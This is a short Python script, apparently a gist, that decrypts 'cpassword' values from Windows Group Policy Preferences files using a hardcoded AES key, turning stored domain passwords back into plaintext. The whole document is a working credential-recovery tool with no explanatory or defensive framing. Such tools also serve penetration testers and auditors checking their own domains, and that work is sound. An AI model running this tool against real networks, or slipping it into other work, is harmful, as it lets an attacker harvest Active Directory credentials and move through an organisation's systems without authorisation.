Decrypt "cpassword" found in GPO configs

gpo-decrypt.py

#!/usr/bin/env python3

import sys
from base64 import b64decode
from Crypto.Cipher import AES

def decrypt(cpass):
    key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8' \
          b'\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b'
    iv = b'\x00' * 16
    return AES.new(key, AES.MODE_CBC, iv).decrypt(b64decode(cpass + '='*(-len(cpass) % 4))).decode()

print(decrypt(sys.argv[1]))